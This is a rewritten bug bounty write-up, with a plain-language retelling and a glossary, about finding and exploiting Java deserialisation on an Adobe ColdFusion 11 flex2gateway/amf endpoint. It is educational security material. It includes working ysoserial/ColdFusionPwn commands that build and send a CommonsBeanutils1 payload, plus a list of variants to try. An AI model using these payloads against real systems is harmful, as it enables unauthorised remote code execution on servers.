Basic recon to RCE
An outdated Adobe ColdFusion 11 instance exposed the flex2gateway/amf endpoint, which was vulnerable to Java deserialisation. An attacker could send a crafted serialised payload to execute arbitrary commands on the server.
Published on jomar.fr
Recently on a BugBounty program I came across my first RCE, discovered and exploited rather quickly on a solution with a vulnerability that I don’t master at all : Java Deserialization
The full write-up lives on its author's site
It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.
Context
The target was a private bug bounty program whose scope was shaped like *.domain.tld. During subdomain enumeration the researcher came across a host running Adobe ColdFusion 11, an application server for the ColdFusion Markup Language (.cfm files). The interesting surface was the flex2gateway/amf endpoint, which handles AMF (Action Message Format) requests and, in this version, deserialises Java objects sent to it.
Setup
The work was done on a private program, so the real hostname is not shown; the report uses xyz.domain.tld in its examples. The tools involved were:
- AutoRecon, the researcher's own recon tool, originally for subdomain enumeration.
- Gau, to pull known URLs from several public sources.
- Ysoserial, for Java deserialisation payloads.
- ColdFusionPwn, for wrapping the payload for ColdFusion.
- Burp Collaborator, to confirm command execution out of band.
Finding it
After enumerating subdomains, the researcher ran Gau to collect URLs known through several sources. One of the results had a .cfm extension, which he did not recognise at the time.

A quick search showed that .cfm stands for ColdFusion Markup Language. Visiting the URL confirmed that the host was running Adobe ColdFusion 11, and the design of the application looked quite old, which made it worth a closer look.
Exploitation
Step 1: find a known vulnerability
A search on ExploitDB turned up an exploit for ColdFusion.

The ExploitDB entry was not very detailed, so the researcher looked further and found an article, Exploiting Adobe Coldfusion, that explains the vulnerability and its exploitation. In short, the flaw is a Java deserialisation on the flex2gateway/amf endpoint. The researcher checked that the endpoint was present: a GET request to it returned a simple blank page.
Step 2: build the payload
According to the article, exploitation needs only two things: Ysoserial for the Java deserialisation and ColdFusionPwn for the ColdFusion-specific wrapping. The payload is generated with the following command. In this example the command executed is a ping to the researcher's Burp Collaborator, and the serialised output is written to the file poc.ser:
java -cp ColdFusionPwn-0.0.1-SNAPSHOT-all.jar:ysoserial.jar com.codewhitesec.coldfusionpwn.ColdFusionPwner -e CommonsBeanutils1 'ping {your_collaborator}.burpcollaborator.net' poc.ser
The result is a serialised Java object saved as poc.ser.
Step 3: send the payload
The serialised file is then POSTed to the endpoint with the AMF content type:
post https://xyz.domain.tld/flex2gateway/amf Content-Type:application/x-amf < poc.ser
The ping arrived on the Burp Collaborator, confirming that the command had executed on the target:

Root cause
The flaw is a Java deserialisation on the flex2gateway/amf endpoint. The report does not describe any additional defence that was in place.
Impact
Successful exploitation gives remote command execution on the ColdFusion server, in this case a production host. The researcher deliberately waited until the next day before exploiting, having found the vulnerability late at night, to avoid doing anything harmful on production. The report does not state what level of access the ColdFusion process ran with, nor what data or other systems were reachable from it.
Fix
The general fix for this class of issue is to block deserialisation of untrusted classes on the AMF endpoint, for example with a deserialisation filter or by disabling the endpoint if it is not needed, and to keep ColdFusion patched against known deserialisation flaws.
Variants to test
- Run Gau (or another URL source) against a scope and look for unusual extensions such as
.cfm,.jspor.action; a positive result is a URL that loads an application server page you did not know was in scope. - Request
flex2gateway/amfon a ColdFusion host within your authorised scope. A blank page on a GET is the signal the researcher used to confirm the endpoint exists; then try the ColdFusionPwn payload with a Collaborator ping. - Try other ysoserial gadget chains with
-eifCommonsBeanutils1does not fire; a positive result is a DNS or HTTP interaction from the target. - Check other AMF or deserialisation endpoints on the same host, such as other gateway paths, for the same behaviour.
- Look for old-looking ColdFusion designs during recon; the researcher found the old design worth a closer look.
What happened, in plain words
A security researcher was taking part in a bug bounty programme. A bug bounty programme is an arrangement where an organisation invites people to look for security weaknesses in its systems and report them, usually with a reward. This particular programme was private, meaning only invited researchers could take part, and the real hostname is not shown in the write-up. Instead the report uses a placeholder like xyz.domain.tld.
The researcher found a server running an old piece of software called Adobe ColdFusion, and discovered that it would deserialise a specially crafted Java object and run a command as a result. That kind of weakness is called remote code execution, or RCE: an attacker can make the server run commands of their choosing. The researcher proved it by asking the server to send a small network signal (a ping) to a server the researcher controlled, and the signal arrived.
The whole thing, once the vulnerability was understood, took less than 30 minutes. The interesting part is not the exploit itself but how the researcher got there: by collecting lists of known web addresses and noticing one with an unfamiliar file extension.
The starting point: a wildcard scope
The programme's scope was written like *.domain.tld. The asterisk is a wildcard, meaning "anything", so the scope covered every subdomain of domain.tld: shop.domain.tld, blog.domain.tld, dev.domain.tld and so on. A subdomain is simply a name that sits in front of the main domain name, the way a building number sits in front of a street name.
Because the scope was that broad, the first job was to find out which subdomains actually exist. That process is called subdomain enumeration: asking public sources and the domain name system (the internet's phone book, which turns names into addresses) for names that resolve.
The researcher was building his own tool for this, AutoRecon, originally meant to help with subdomain enumeration. He also wanted it to handle the repetitive reconnaissance chores that are tedious to do by hand every time.
Finding the odd URL
After enumerating subdomains, he tried a tool he had not used before: Gau. Gau collects URLs that are already publicly known, gathered from several sources such as web archives and public datasets. Think of it as a search engine for web addresses other people have already seen, rather than addresses you have to guess.
Among the results was a URL ending in .cfm. He had never seen that extension before. A file extension is the part after the last dot in a filename or URL, like .html or .php; it hints at what kind of software produces the page.

A quick search told him that .cfm stands for ColdFusion Markup Language. ColdFusion is an application server: a program that sits behind a website and builds pages on demand, the way a kitchen sits behind a restaurant's dining room. The .cfm files are the recipes it follows.
He opened the URL in a browser. That confirmed the host was running Adobe ColdFusion 11, and the design of the application looked quite old. An old-looking design is a useful hint, because old software is often unpatched software, and unpatched software is where known vulnerabilities live.
Looking for a known vulnerability
A vulnerability is a weakness in software that someone can abuse. Many vulnerabilities are already public: someone found them, wrote them up, and sometimes published a ready-made exploit, which is a piece of code or a set of steps that abuses the weakness.
A search on ExploitDB, a public archive of such exploits, turned up an entry for ColdFusion.

The ExploitDB entry was not very detailed, so he kept reading. He found an article, Exploiting Adobe Coldfusion, that explains the vulnerability and how to exploit it.
In short, the flaw is a Java deserialisation on the flex2gateway/amf endpoint. Two terms need unpacking here.
An endpoint is a specific address on a server that accepts a particular kind of request, like a service counter in a large building: the building has one address, but each counter handles a different job. flex2gateway/amf is the path part of the URL that points at this counter.
Deserialisation is the process of turning a stored or transmitted bundle of data back into live objects inside a program. The reverse, serialisation, is packing an object into a stream of bytes so it can be saved or sent. The everyday comparison is posting a flat-pack furniture kit: serialisation is the factory packing the parts into a box, deserialisation is you opening the box and assembling the parts into a chair. The danger is that if the program will assemble anything a stranger sends, a stranger can send a box whose parts assemble into something harmful. Java is a programming language, and "Java deserialisation" means this unpacking happens in a Java program.
He checked whether the endpoint was there. A GET request to it returned a simple blank page. A GET request is the ordinary kind a browser makes when you type an address and press Enter; it asks the server to give you something. A blank page is not much, but it told him the endpoint existed and responded, which is the signal he needed.
Building the payload
A payload is the actual content an attacker sends to trigger the weakness: the harmful box in the furniture comparison.
According to the article, exploitation needed only two things:
- Ysoserial, a tool that builds Java deserialisation payloads.
- ColdFusionPwn, a tool that wraps such a payload in the form ColdFusion expects.
Ysoserial works with so-called gadget chains. A gadget chain is a sequence of ordinary classes already present in the target program that, when assembled in a particular order during deserialisation, end up doing something the original developers never intended, such as running a command. It is like discovering that a set of kitchen appliances, plugged into each other in the wrong order, can start a fire: each appliance is harmless alone, the chain is not.
The payload was generated with this command. In the example, the command to be run on the server is a ping to the researcher's Burp Collaborator, and the serialised output is written to the file poc.ser:
java -cp ColdFusionPwn-0.0.1-SNAPSHOT-all.jar:ysoserial.jar com.codewhitesec.coldfusionpwn.ColdFusionPwner -e CommonsBeanutils1 'ping {your_collaborator}.burpcollaborator.net' poc.ser
Line by line, in plain words:
javaruns the Java runtime, the program that executes Java code on your own machine.-cp ColdFusionPwn-0.0.1-SNAPSHOT-all.jar:ysoserial.jarsets the classpath, which is the list of places Java should look for the code it needs. Here it is told to look inside two files: the ColdFusionPwn jar and the ysoserial jar. A jar is a packaged bundle of Java code, like a zip file for programs.com.codewhitesec.coldfusionpwn.ColdFusionPwneris the specific program inside ColdFusionPwn that gets run. The dotted name is how Java addresses code inside a package.-e CommonsBeanutils1selects which gadget chain to use.CommonsBeanutils1is the name of one particular chain that ysoserial knows how to build.'ping {your_collaborator}.burpcollaborator.net'is the command that will run on the target if the deserialisation succeeds. It is in quotes so the shell treats it as one piece.{your_collaborator}is a placeholder for the researcher's own Collaborator address.poc.seris the output file. The result of the command is a serialised Java object saved under that name, ready to be sent.
Burp Collaborator deserves a word of its own. It is a service that gives you a unique address you control and records any traffic that reaches it. If you ask the target to ping that address and the ping shows up, you have proof that your command actually ran on the target, even if the target never shows you any output.
Sending the payload
All that was left was to send the file to the endpoint as a POST request:
post https://xyz.domain.tld/flex2gateway/amf Content-Type:application/x-amf < poc.ser
Line by line:
postis the HTTP method. Unlike GET, which asks for something, POST sends data to the server. HTTP is the language browsers and servers use to talk to each other.https://xyz.domain.tld/flex2gateway/amfis the address of the endpoint.xyz.domain.tldstands in for the real hostname, which is not disclosed because the programme is private.Content-Type:application/x-amfis a header. Headers are the labels attached to a request that tell the server how to interpret it. This one says the body is an AMF message. AMF, Action Message Format, is a compact binary format that ColdFusion uses to exchange data with clients.< poc.sermeans "take the contents of the filepoc.serand use them as the body of the request". The angle bracket is a shell redirection: instead of typing the data, you point the command at a file.
Then the ping arrived on the Burp Collaborator:

Why it worked
The flaw is a Java deserialisation on the flex2gateway/amf endpoint. With a gadget chain such as CommonsBeanutils1 available on the server, that unpacking can be turned into running an arbitrary command. The report does not describe any additional defence that was in place.
What the impact was
Successful exploitation gives remote command execution on the ColdFusion server, which in this case was a production host: the live system real users depend on, not a test copy. That is why the researcher was careful. He found the vulnerability late at night and deliberately waited until the next day before exploiting it, because he did not want to do anything harmful on production. The report does not state what level of access the ColdFusion process ran with, nor what data or other systems were reachable from it.
How it should be fixed
The general fix for this class of issue is to block deserialisation of untrusted classes on the AMF endpoint, for example with a deserialisation filter or by disabling the endpoint if it is not needed, and to keep ColdFusion patched against known deserialisation flaws. A deserialisation filter is an allow-list: only the classes the application genuinely expects are permitted, and everything else is refused before it can be assembled.
Other things worth trying
- Run Gau, or another source of known URLs, against a scope and look for unusual extensions such as
.cfm,.jspor.action. A positive result is a URL that loads an application server page you did not know was in scope. - Request
flex2gateway/amfon a ColdFusion host within your authorised scope. A blank page on a GET is the signal the researcher used to confirm the endpoint exists; then try the ColdFusionPwn payload with a Collaborator ping. - Try other ysoserial gadget chains with
-eifCommonsBeanutils1does not fire. A positive result is a DNS or HTTP interaction from the target. - Check other AMF or deserialisation endpoints on the same host, such as other gateway paths, for the same behaviour.
- Look for old-looking ColdFusion designs during recon; the researcher found the old design worth a closer look.
Glossary
- AMF (Action Message Format): a compact binary format ColdFusion uses to exchange data with clients.
- Application server: software that sits behind a website and builds pages or handles requests on demand.
- Authentication: proving who you are, usually with a username and password or a session.
- Bug bounty programme: an arrangement where an organisation invites researchers to find and report security weaknesses, often for a reward.
- Burp Collaborator: a service that gives you an address you control and records traffic reaching it, used to confirm that a command ran on a target.
- Classpath: the list of places the Java runtime looks for the code it needs.
- ColdFusion: an Adobe application server that runs
.cfmpages. - ColdFusionPwn: a tool that wraps a Java deserialisation payload in the form ColdFusion expects.
- Content-Type: an HTTP header that tells the server how to interpret the body of a request.
- Deserialisation: turning a stored or transmitted bundle of bytes back into live objects inside a program.
- Endpoint: a specific address on a server that accepts a particular kind of request.
- Exploit: code or steps that abuse a vulnerability.
- ExploitDB: a public archive of published exploits.
- File extension: the part after the last dot in a filename or URL, hinting at the software that produces it.
- Gadget chain: a sequence of ordinary classes already present in a program that, assembled in a particular order during deserialisation, do something unintended such as running a command.
- Gau: a tool that collects URLs already known from several public sources.
- GET: the ordinary HTTP method a browser uses to ask a server for something.
- Header: a label attached to an HTTP request or response that describes it.
- HTTP: the language browsers and servers use to talk to each other.
- Java: a programming language and runtime; Java deserialisation means unpacking objects in a Java program.
- Jar: a packaged bundle of Java code, like a zip file for programs.
- Payload: the content sent to trigger a vulnerability.
- POST: an HTTP method that sends data to the server, unlike GET which asks for it.
- Production host: the live system real users depend on, as opposed to a test copy.
- Remote code execution (RCE): a weakness that lets an attacker make a server run commands of their choosing.
- Scope: the set of systems a bug bounty programme authorises you to test.
- Serialisation: packing an object into a stream of bytes so it can be saved or sent.
- Subdomain: a name in front of the main domain, such as
shopinshop.domain.tld. - Subdomain enumeration: finding which subdomains of a domain exist.
- Vulnerability: a weakness in software that someone can abuse.
- Wildcard: the asterisk in
*.domain.tld, meaning anything in that position. - Ysoserial: a tool that builds Java deserialisation payloads using gadget chains.